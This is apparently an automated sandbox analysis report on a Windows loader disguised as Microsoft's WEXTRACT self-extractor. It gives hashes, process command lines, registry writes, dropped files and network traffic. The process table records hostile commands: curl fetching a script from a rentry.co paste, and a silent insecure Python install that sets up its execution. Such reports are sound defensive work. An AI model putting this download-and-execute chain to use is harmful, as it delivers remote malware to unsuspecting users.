| File name: | WEXTRACT (Stage 1).EXE |
| Full analysis: | https://app.any.run/tasks/00ff18b8-ba51-4913-a571-673638703895 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 16, 2024, 09:13:12 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows |
| MD5: | C836D9F939E17837428F185F0FC8003F |
| SHA1: | 119BE5EBA7EB367593BB5314AB52E00B0A54E638 |
| SHA256: | 0C22DDA19FBE3FDF12E8664C87CC1EF161A2B76D828DF88B025952750985FD51 |
| SSDEEP: | 3072:jGiyr95MfxewjwVGkk125W2PScVgkl7T25Tz7unJrOXjmOVV++:jdyr95MfxewjwVDw2LnT25qndIjjVVX |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2062:07:25 12:18:00+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.2 |
| CodeSize: | 31744 |
| InitializedDataSize: | 124928 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x8200 |
| OSVersion: | 10 |
| ImageVersion: | 10 |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 11.0.19041.1 |
| ProductVersionNumber: | 11.0.19041.1 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Win32 Cabinet Self-Extractor |
| FileVersion: | 11.00.19041.1 (WinBuild.160101.0800) |
| InternalName: | Wextract |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | WEXTRACT.EXE .MUI |
| ProductName: | Internet Explorer |
| ProductVersion: | 11.00.19041.1 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 720 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | UCPDMgr.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1280 | find "PNPDeviceID" | C:\Windows\System32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1428 | C:\Users\admin\AppData\Local\Programs\Python\Python310\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\admin\\AppData\\Local\\Temp\\tmpe4ic3_iv\\setuptools-57.4.0-py3-none-any.whl', 'C:\\Users\\admin\\AppData\\Local\\Temp\\tmpe4ic3_iv\\pip-21.2.3-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\admin\\AppData\\Local\\Temp\\tmpe4ic3_iv', '--upgrade', 'setuptools', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) " | C:\Users\admin\AppData\Local\Programs\Python\Python310\python.exe | python.exe | ||||||||||||
User: admin Company: Python Software Foundation Integrity Level: MEDIUM Description: Python Exit code: 0 Version: 3.10.0rc2 Modules
| |||||||||||||||
| 1788 | C:\WINDOWS\system32\DllHost.exe /Processid:{F32D97DF-E3E5-4CB9-9E3E-0EB5B4E49801} | C:\Windows\System32\dllhost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3808 | C:\WINDOWS\system32\vssvc.exe | C:\Windows\System32\VSSVC.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4060 | "C:\WINDOWS\system32\UCPDMgr.exe" | C:\Windows\System32\UCPDMgr.exe | — | svchost.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: User Choice Protection Manager Exit code: 0 Version: 1.0.0.414301 Modules
| |||||||||||||||
| 4216 | curl -o webpage.py -s https://rentry.co/dqxzeko8 --insecure | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 4548 | python-installer.exe /quiet /passive InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0 | C:\Users\admin\AppData\Local\Temp\IXP000.TMP\python-installer.exe | cmd.exe | ||||||||||||
User: admin Company: Python Software Foundation Integrity Level: MEDIUM Description: Python 3.10.0rc2 (64-bit) Exit code: 0 Version: 3.10.122.0 Modules
| |||||||||||||||
| 4744 | "C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\.be\python-3.10.0rc2-amd64.exe" -q -burn.elevated BurnPipe.{FB38FFEE-1DCE-4784-AFE7-2E16BD701E5B} {9F27897A-0698-4591-972D-5BD765C29B0A} 5920 | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\.be\python-3.10.0rc2-amd64.exe | python-installer.exe | ||||||||||||
User: admin Company: Python Software Foundation Integrity Level: HIGH Description: Python 3.10.0rc2 (64-bit) Exit code: 0 Version: 3.10.122.0 Modules
| |||||||||||||||
| 4936 | curl -L -o python-installer.exe https://www.python.org/ftp/python/3.10.0/python-3.10.0rc2-amd64.exe --insecure --silent | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| (PID) Process: | (5920) python-installer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (5920) python-installer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (5920) python-installer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (5920) python-installer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (4744) python-3.10.0rc2-amd64.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore |
| Operation: | write | Name: | SrCreateRp (Enter) |
Value: 40000000000000003A9E7F6371A7DA018812000090120000D5070000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (1788) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Enter) |
Value: 48000000000000000503826371A7DA01FC06000098150000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (1788) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Leave) |
Value: 48000000000000008689DC6371A7DA01FC06000098150000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (1788) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Enter) |
Value: 48000000000000008689DC6371A7DA01FC06000098150000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (1788) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Leave) |
Value: 4800000000000000EA56E16371A7DA01FC06000098150000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (1788) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppCreate (Enter) |
Value: 480000000000000091DBEA6371A7DA01FC06000098150000D00700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1788 | dllhost.exe | C:\System Volume Information\SPP\snapshot-2 | — | |
MD5:— | SHA256:— | |||
| 1788 | dllhost.exe | C:\System Volume Information\SPP\metadata-2 | — | |
MD5:— | SHA256:— | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\lib_JustForMe | — | |
MD5:— | SHA256:— | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\.ba\BootstrapperApplicationData.xml | xml | |
MD5:EDD2973CCE008203C69A5F52A9A35BFE | SHA256:7EB78771B5629654F5ECC261EEE58CEC4DEA7284906CA07B80ADE6896F1190EF | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\.ba\SideBar.png | image | |
MD5:CA62A92AD5B307FAEAC640CD5EB460ED | SHA256:F3109977125D4A3A3FFA17462CFC31799589F466A51D226D1D1F87DF2F267627 | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\.ba\Default.thm | xml | |
MD5:7A6207931F4F6A7F803128FC3AFDF8DA | SHA256:6A91F0AC6A2169FFDB3AC84C715F77EB5B1527C27DD5AC4C60174242997937A6 | |||
| 1788 | dllhost.exe | C:\System Volume Information\SPP\OnlineMetadataCache\{50e7d657-00ee-4c26-ac45-e6346629564d}_OnDiskSnapshotProp | binary | |
MD5:CE096092FA5B644C4ED8475B75221579 | SHA256:5F607C2A5AF92DDA7B961DFBF64852AA54CDF3A351ECC3F230E8DA1423D28DA9 | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Package Cache\{be83e501-a7bf-4692-a6f1-0deb418ad1fb}\python-3.10.0rc2-amd64.exe | executable | |
MD5:833D7B73767607CD76C0C81DCC1C5F75 | SHA256:ABB2E915CAE562E527CD773E5B399D993634331AD29BEA029CC2048AE239FBDA | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\core_JustForMe | executable | |
MD5:0EED80D28A6682F8471F689FE3833EB0 | SHA256:8104D58F10655CF5F331C8A7ED0C98FB368FB017075D85D9BFCD9131CACF7B05 | |||
| 5920 | python-installer.exe | C:\Users\admin\AppData\Local\Temp\{5A02E259-23F4-4B4D-BA9D-9E226B3E0D1B}\dev_JustForMe | executable | |
MD5:C1C76D510B8E9474124A55B09C39BCF2 | SHA256:87BC2F57D1628636722461035B17A774551328F96F453E1A7ADBC448D283F7AD | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5704 | msiexec.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D | US | binary | 471 b | unknown |
5704 | msiexec.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D | US | binary | 471 b | unknown |
— | — | GET | 304 | 40.68.123.157:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | NL | — | — | unknown |
5060 | SIHClient.exe | GET | 200 | 40.68.123.157:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | NL | compressed | 23.9 Kb | unknown |
5060 | SIHClient.exe | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl | DE | binary | 824 b | unknown |
5060 | SIHClient.exe | GET | 200 | 40.68.123.157:443 | https://slscr.update.microsoft.com/sls/ping | NL | — | — | unknown |
5060 | SIHClient.exe | GET | 200 | 13.85.23.206:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | US | — | — | unknown |
5060 | SIHClient.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | NL | binary | 419 b | unknown |
5060 | SIHClient.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl | NL | binary | 813 b | unknown |
5060 | SIHClient.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl | NL | binary | 813 b | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4936 | curl.exe | 146.75.116.223:443 | www.python.org | FASTLY | US | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5704 | msiexec.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | unknown |
4680 | SearchApp.exe | 104.126.37.171:443 | — | Akamai International B.V. | DE | unknown |
4680 | SearchApp.exe | 104.126.37.177:443 | — | Akamai International B.V. | DE | unknown |
2908 | OfficeClickToRun.exe | 52.168.112.66:443 | self.events.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
4680 | SearchApp.exe | 95.100.146.32:443 | r.bing.com | Akamai International B.V. | CZ | unknown |
5060 | SIHClient.exe | 20.12.23.50:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
5060 | SIHClient.exe | 2.19.217.218:80 | www.microsoft.com | Akamai International B.V. | NL | unknown |
Domain | IP | Reputation |
|---|---|---|
www.python.org |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
r.bing.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
rentry.co |
| unknown |
settings-win.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2184 | svchost.exe | Misc activity | ET INFO Pastebin Service Domain in DNS Lookup (rentry .co) |
4216 | curl.exe | Misc activity | ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI) |